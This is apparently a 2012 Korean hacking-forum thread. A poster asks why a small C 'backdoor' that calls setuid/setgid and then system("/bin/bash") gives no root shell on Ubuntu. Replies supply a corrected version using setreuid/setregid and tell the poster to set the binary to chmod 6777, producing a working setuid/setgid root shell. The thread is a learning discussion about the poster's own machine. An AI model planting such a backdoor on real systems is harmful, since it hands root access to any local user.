리눅스

 3916, 1/196 회원가입  로그인  
   리눅스펭귄
   우분투에서 백도어가 안돌아가나요?

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=4219 [복사]


#include <stdio.h>

int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}

이렇게 하고 실행을 시켰는데,(물론 공격대상은 제 컴퓨터입니다. 제가 루트계정으로 해당 소스를 짜고 컴파일한 뒤, chmod 777로 바꿔줬습니다.)
쉘이 안바뀌더군요.

디버깅 하려고 printf 몇개 박아봤는데, setgid까진 잘 되다가 시스템함수를 아예 실행을 안해요. 디버거로 디스어셈블 해봐도 딱히 문제는 없는데, 디버거에서 브레이크 한 줄에 하나씩 박고 감시를 해도, system("/bin/bash"); 를 무시하고 지나가네요.

우분투 12.04LTS 인데, 보안상 막힌건가요?

  Hit : 4613     Date : 2012/10/13 07:00



    
cd80 system함수가 ruid rgid를 가져오기때문에
setuid와 setgid로 설정한 루트 uid gid로는 루트권한의 쉘을 실행할 수 없습니다

소스를


#include <stdio.h>

int main() {
setreuid(0, 0);
setregid(0, 0);
system("/bin/bash");
}
와 같이 바꾸신후 컴파일 하신후
chmod 777이 아닌
chmod 6777 로 권한설정해주시면 원하시는대로 하실 수 있으실것 같습니다



p.s. 그리고 아마 /bin/bash는 실행된거같습니다
ps 명령어로 확인해보세요
2012/10/13  
ISHack setuid라면 4777이 아닐까요? 2012/10/14  
cd80 ISHack//
작성자님이 소스에서 원하시는게 uid와 gid 모두 바꾸는거라 setuid와 setgid를 걸어줘야 하는데
setuid는 4고 setgid는 2라 둘을 더한 6이 setuid + setgid입니다
2012/10/15  
ISHack cd80//
아하. 다시읽어보니 유저와 그룹을 동시에 사용해야하는군요!
2012/10/16